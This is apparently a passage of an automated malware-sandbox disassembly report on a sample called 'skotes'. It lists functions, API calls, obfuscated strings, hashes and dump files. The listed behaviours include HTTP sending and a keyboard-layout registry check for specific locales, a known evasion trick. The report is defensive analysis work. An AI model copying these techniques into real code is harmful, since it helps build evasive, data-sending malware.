Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 545f9c205cd2fd0420f1f42d418ddaabd8cfc03ebda316d1728f5100f6d45f9d
Instruction ID: 4b6864d673d2ef941538316c65a95dfd4ebf75236d9d7bba780c9cf669817a62
Opcode Fuzzy Hash: 545f9c205cd2fd0420f1f42d418ddaabd8cfc03ebda316d1728f5100f6d45f9d
Instruction Fuzzy Hash: C7B1E2B06001189BDB28CF28CC85BEEBB76EF45314F548198F509972C2DB719AC4CF99

Function 00616020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0061617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00616271

Strings

00000422, xrefs: 006160C9
00000423, xrefs: 006160FA
00000419, xrefs: 00616098
Keyboard Layout\Preload, xrefs: 00616054
0000043f, xrefs: 0061612B

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: f473eca595b2b8feb9257ab3b09a737043e7c6d2d95aba7687c28b1bb17ed143
Instruction ID: a2ff15ce7fcb4b905b8c5650f3c0b4340e660812096551a15ce4465a1b805e82
Opcode Fuzzy Hash: f473eca595b2b8feb9257ab3b09a737043e7c6d2d95aba7687c28b1bb17ed143
Instruction Fuzzy Hash: 2DB1AF759002689BDB24DB24CC85BDEB7BAAF04340F5442D8F508E72D1DB74ABE88F95

Function 00617D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00617ED3

Strings

JjsrPl==, xrefs: 0061828A
JjssPV==, xrefs: 006181E2
JjsrQV==, xrefs: 00618092
JjssOl==, xrefs: 0061813A

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: a24d98b627d7028f10c1347c5ce27104599db80983dbf04b09a62e2abdccb68c
Instruction ID: 42b8fa465ec5f67654a76b18cc4c3153dba4e46052196971f139c584b52968dc
Opcode Fuzzy Hash: a24d98b627d7028f10c1347c5ce27104599db80983dbf04b09a62e2abdccb68c
Instruction Fuzzy Hash: 1EE11470E00654DBDB64BB689C577DD7A73AB81720F98428CE4196B3C2DB354EC18BC6

Function 00651ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00651775: CreateFileW.KERNEL32(00000000,00000000,?,00651B65,?,?,00000000,?,00651B65,00000000,0000000C), ref: 00651792

__dosmaperr.LIBCMT ref: 00651BD7
GetFileType.KERNEL32(00000000), ref: 00651BE3
__dosmaperr.LIBCMT ref: 00651BF6
__dosmaperr.LIBCMT ref: 00651D9C

Strings

H, xrefs: 00651D21

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: d8621a2f6f51a45f25e41dd2e998b34a2c958d128810e2690a23d98ca6019918
Instruction ID: 5076c50af30b7e165596fde2e55222692d905838d13a29b2d09cb193d66992af
Opcode Fuzzy Hash: d8621a2f6f51a45f25e41dd2e998b34a2c958d128810e2690a23d98ca6019918
Instruction Fuzzy Hash: ECA11532A041489FCF19AF68C891BEE3BB2AB07325F14018DEC51AF391EB359D5AC755

Function 006526F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00666758), ref: 0065275C

Strings

Eastern Standard Time, xrefs: 006527CB
Eastern Summer Time, xrefs: 006527FA
Xgf, xrefs: 00652705, 0065270B

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382319889.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382394515.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382482520.000000000082C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382540800.000000000082E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382621872.000000000082F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382687096.0000000000830000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382752221.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382815338.0000000000841000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382910219.000000000085E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382949661.000000000085F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383013206.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383157139.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383316521.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383390501.000000000086C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383468207.0000000000879000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383505709.000000000087B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383557411.000000000087C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383623379.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383677747.0000000000888000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383715340.0000000000890000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383770746.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383832437.0000000000899000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3383974699.00000000008C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384027465.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384129731.0000000000901000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384176428.0000000000903000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384197388.0000000000904000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384236784.0000000000909000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384276090.000000000090B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384317353.0000000000918000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3384354809.0000000000919000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_610000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xgf
API String ID: 565725191-1895067171
Opcode ID: f653bf43c19f41d179e274329696be9544b7a380dc97ed58b57de9d0f506fda6
Instruction ID: 78dfc82b7044e9d975a231f4e38ba074681f1eb17004d6beb5adeefe4b09f597
Opcode Fuzzy Hash: f653bf43c19f41d179e274329696be9544b7a380dc97ed58b57de9d0f506fda6
Instruction Fuzzy Hash: 7A512871800216ABDB14DFB5CC919AE77BEEF46321F10026DF924A3291EB309E89CB54

Function 00646FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00646EE6), ref: 00646FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00647030
__dosmaperr.LIBCMT ref: 006470C5

Part of subcall function 0064732A: __dosmaperr.LIBCMT ref: 0064735F

Strings

nd, xrefs: 00646FCE

Memory Dump Source

Source File: 00000006.00000002.3380170791.0000000000611000.00000040.00000001.01000000.00000007.sdmp, Offset: 00610000, based on PE: true

Associated: 00000006.00000002.3380071723.0000000000610000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380170791.0000000000672000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380551481.0000000000679000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380639626.000000000067B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380716683.0000000000685000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380817293.0000000000686000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3380906503.0000000000687000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381354663.00000000007DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381469497.00000000007E0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381552894.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381695825.0000000000800000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381778158.0000000000801000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381846199.0000000000802000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3381939760.0000000000803000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382119598.000000000080E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3382240516.000000000080F000.00000040.00000001.01000000.00000007.sdmpDownload File
